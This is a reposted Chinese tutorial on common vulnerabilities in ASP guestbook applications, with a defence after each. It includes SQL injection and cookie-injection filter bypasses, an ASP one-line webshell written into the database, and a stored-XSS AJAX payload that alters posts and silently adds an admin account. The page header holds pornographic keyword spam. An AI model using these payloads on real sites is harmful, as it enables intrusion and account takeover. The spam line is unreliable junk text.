日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

留言本的漏洞挖掘总结

發布時間:2025/7/14 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 留言本的漏洞挖掘总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

留言本的功能比較單一,一般針對普通瀏覽者只有留言的功能。而對于管理員的功能多少在于編寫著對留言本的優化。一般管理員有回復留言編輯留言刪除留言還有網站用戶修改網站基礎(類似與標題等)修改。

??常見漏洞①

Conn.asp暴庫漏洞

??測試程序:粑粑工作室留言本2.0

??漏洞代碼:

<%

dim conn,mydb,db,rs

db=dbstr&"data/#baba@yaoyao520.mdb"

AccessPath=dbstr&"data"

Set Conn = Server.CreateObject("ADODB.Connection")

mydb="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")

Conn.Open Mydb

%>

其實這個也不算上漏洞代碼,針對這個漏洞的原因大家可以看看vip腳本入侵教程的[5]暴庫的原理和實踐

?

直接訪問就把路徑爆出來了。

'C:\Inetpub\111\留言本2.0\include\data\#baba@yaoyao520.mdb'

看到這段了吧。正常的數據庫文件在C:\Inetpub\111\留言本2.0\data\#baba@yaoyao520.mdb這里。

防范方法:

??直接在conn.asp加入容錯語句。

On error resume next

常見漏洞②

數據庫下載漏洞

其實數據庫所謂數據庫下載漏洞呢,有兩種。

1.???????默認數據庫下載。

因為很多人不怎么在乎留言本安全所以很多人都用默認的數據庫。導致可以下載。

還是以上面的程序做測試。?其中#需要轉換為%23。 還有后綴如果是asp或者asa的訪問出亂碼,可以用迅雷等下載軟件進下載。

2.???????利用暴庫漏洞獲取數據庫,然后進行下載。下載方法如上所述。

防范方法:

1.???????修改默認數據庫地址。

2.???????添加防下載表

??常見漏洞③

注射漏洞

這里的注射漏洞跟普通注射漏洞一樣。由于沒找到特好的實例,所以把前面的代碼改了一下。

測試程序:粑粑工作室留言本2.0

去掉了conn.asp的方注射代碼。

gshow.asp

set rs=server.CreateObject("adodb.recordset")

??????????? sql="select * from gonggao where id="&request.QueryString("id")

??????????? rs.open sql,conn,1,3

這里由于變量id沒做過濾導致代碼注射。

但是這里程序conn.asp有防注入代碼。

代碼如下:

<%

?

'--------定義部份------------------

Dim XH_Post,XH_Get,XH_In,XH_Inf,XH_Xh,XH_db,XH_dbstr

'自定義需要過濾的字串,?"|"?分隔

XH_In = "'|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"

'----------------------------------

%>

?

<%

XH_Inf = split(XH_In,"|")

'--------POST部份------------------

If Request.Form<>"" Then

For Each XH_Post In Request.Form

?

For XH_Xh=0 To Ubound(XH_Inf)

If Instr(LCase(Request.Form(XH_Post)),XH_Inf(XH_Xh))<>0 Then

Response.Write "<Script Language=JavaScript>alert('提交內容非法!有事加我QQ253436577');</Script>"

Response.Write "非法操作!系統做了如下記錄↓<br>"

Response.Write "操作Ip"&Request.ServerVariables("REMOTE_ADDR")&"<br>"

Response.Write "操作時間:"&Now&"<br>"

Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"

Response.Write "提交方式:post<br>"

Response.Write "提交參數:"&XH_Post&"<br>"

Response.Write "提交數據:"&Request.Form(XH_Post)

Response.Write "<Script Language=JavaScript>alert('提交內容非法!有事加我QQ253436577');window.close();</Script>"

Response.End

End If

Next

?

Next

End If

'----------------------------------

?

'--------GET部份-------------------

If Request.QueryString<>"" Then

For Each XH_Get In Request.QueryString

?

For XH_Xh=0 To Ubound(XH_Inf)

If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then

Response.Write "<Script Language=JavaScript>alert('提交內容非法!有事加我QQ253436577');</Script>"

Response.Write "非法操作!系統做了如下記錄↓<br>"

Response.Write "操作Ip"&Request.ServerVariables("REMOTE_ADDR")&"<br>"

Response.Write "操作時間:"&Now&"<br>"

Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"

Response.Write "提交方式:GET<br>"

Response.Write "提交參數:"&XH_Get&"<br>"

Response.Write "提交數據:"&Request.QueryString(XH_Get)

Response.Write "<Script Language=JavaScript>alert('提交內容非法!有事加我QQ253436577');window.close();</Script>"

Response.End

End If

Next

Next

End If

'----------------------------------

%>

大家一定對這段代碼比較熟悉。標準的防注入程序。只要是對近來一年內的注射有了解就知道這段代碼沒做cookie過濾導致我們可以利用cookie注射了。

防范方法:

1.???????添加cookie防注入代碼

2.???????對獲取變量進行過濾。

??常見漏洞④

后臺驗證漏洞

簡單來說這個就是變形的sql注射漏洞。

??測試程序:心情故事屋留言本系統

checkpass.asp

<!--#include file="conn.asp"-->

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<%

admin=request.form("admin") '定義admin的值是表單傳過來的用戶名域名稱admin

password=request.form("password") '定義password的值是表單傳過來的用戶名域名稱password

if admin="" or password="" then '這句的意思是假如用戶名和密碼沒有輸入的話那么執行下一句

response.Write("<script language=javascript>alert('請填寫完整!');history.go(-1)</script>") 'javascript腳本提示用戶

end if '結束if語句

sql="select * from admin where admin='"&admin&"' and password='"&password&"'" '查詢admin表中的adminpassword兩個字段

set rs=conn.execute(sql) '設定記錄集rs,用conn執行SQL語句

if rs.eof or rs.bof then '當沒有符合篩選結果時,則執行下面的句子

response.write "<script language=javascript>"

response.write "alert('用戶或密碼不對!');"

response.write "javascript:history.go(-1);"

response.write "</script>" 'javascript腳本提示用戶

else '如果符合條件的時候

session("admin")=admin '新建session,值等于表單傳來的用戶名

response.write"<SCRIPT language=JavaScript>alert('登陸成功');"

response.write"this.location.href='mymanage.asp';</SCRIPT>"

end if '結束if語句

%>

防范方法:

???這種漏洞直接過濾“”就行。

???但是針對注射一定要進行全面過濾。

??常見漏洞⑤

數據庫寫入漏洞

這種漏洞我在找代碼的過程中也比較費勁,有些利用比較費勁所以我改一下。讓利用比較直接。

Index.asp

Id=Request.Querystring("Id")

Books_mingzi=htmlencode(Request.form("mingzi"))

If Books_mingzi="" then Books_mingzi="匿名者" End If

Books_biaoti=htmlencode(Request.form("biaoti"))

Books_neirong=htmlencode(Request.form("neirong"))

在這里利用了htmlencode過了了,我們隨便利用某一個去掉過濾然后進行測試就可以了。

我這里去掉了neirong前面的htmlencode。

提交了<%execute request("value")%>到內容里,訪問數據庫路徑可以看到如下。

直接利用藍屏一句話提交就可以了。

好了簡單的寫入講解了。

我們再看這個代碼中的相對來說不簡單的寫入。

(這里我沒做實際測試,但是記得好像06年有人專門為這個寫過文章,針對php的,所以估計asp也差不多。)

???????Set mRs= Server.CreateObject("adodb.recordSet")

?????? mRs.open "Select * from dqe_gustbook", conn, 1, 3

?????? mRs.addnew

????????????? mRs("who") = Books_mingzi

????????????? mRs("biaoti") = Books_biaoti

????????????? mRs("neirong") = Books_neirong

????????????? mRs("lanmu") = lanmu

????????????? mRs("zhiding") = 0

????????????? mRs("shijian") = now()

????????????? UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

????????????? If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")

????????????? mRs("ip") = UserIP

?????? mRs.update

?????? mRs.close

這里UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

????????????? If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")

因為"HTTP_X_FORWARDED_FOR"這個值是通過獲取HTTP頭的"X_FORWARDED_FOR"屬性取得.所以這里就提供給惡意破壞者一個辦法:可以偽造IP地址!

針對這個我只說這么多,希望大家自己繼續在研究。

還有很多過濾形式可以繞過,希望大家發揮自己的創新能力。共享自己的技巧。

??常見漏洞⑥

嵌入xss漏洞

這次是利用深度學習(asp)留言板,也就是本次黑客防線挑戰議題。

我們提交留言內容為<script>alert(“黑客防線”)</script>
從后臺登陸訪問瀏覽信息就看跨站效果了。

接下來就是利用跨站來獲取我們需要做的操作了。

這次議題我讓大家修改留言貼倒數第二個留言信息。

本次議題到目前為止就一人完成,冰雪風谷[Z.S.T]。

我這里就直接利用他寫的ajax代碼來完成本次的教學。

???????function getXHR() {

????????????? var xhr = null

????????????? if (window.XMLHttpRequest) {

???????????????????? xhr = new XMLHttpRequest();

????????????? } else if (window.createRequest) {

???????????????????? xhr = window.createRequest();

????????????? } else if (window.ActiveXObject) {

???????????????????? try {

??????????????????????????? xhr = new ActiveXObject('Msxml2.XMLHTTP');

???????????????????? } catch( E ) {

??????????????????????????? try {

?????? ??????????????????????????? xhr = new ActiveXObject('Microsoft.XMLHTTP');

??????????????????????????? } catch(E) {}

???????????????????? }????

????????????? }

????????????? return xhr;

?????? }

?????? var ajax = getXHR();

?????? ajax.open('POST','/admin/guestBook/guestBook_update.asp',false);

?????? ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

?????? ajax.send("guestName=test&guestContent=bingxuefenggu&guest_ID=19");//

?????? ajax.onreadystatechange=function() {}

?????? var ajax1 = getXHR();

?????? ajax1.open('POST','/admin/adminUser/adminUser_Add.asp',false);

?????? ajax1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

?????? ajax1.send("UserName=test&password1=test");

??????

???????這里經過兩次提交,都是以post代碼,第一個是修改帖子,第二個是添加用戶。(?風谷不老實,我本來讓只修改內容,但是他又加了個添加用戶。)

防范方法:

?Function htmlencode(fString)

If not isnull(fString) then

??? fString = replace(fString, ">", ">")

??? fString = replace(fString, "<", "<")

??? fString = Replace(fString, CHR(32), "?")

??? fString = Replace(fString, CHR(9), "?")

??? fString = Replace(fString, CHR(34), """)

??? fString = Replace(fString, CHR(39), "'")

??? fString = Replace(fString, CHR(13), "")

??? fString = Replace(fString, CHR(10) & CHR(10), "</p><p> ")

??? fString = Replace(fString, CHR(10), "<br> ")

?????? htmlencode = fString

End If

End Function

??常見漏洞⑦

URL?xss漏洞

針對URL跨站我就不想講太多了,跟上面嵌入xss差不多。

大家可以看看動網多個URL?xss跨站漏洞

轉載于:https://www.cnblogs.com/milantgh/p/3617824.html

總結

以上是生活随笔為你收集整理的留言本的漏洞挖掘总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。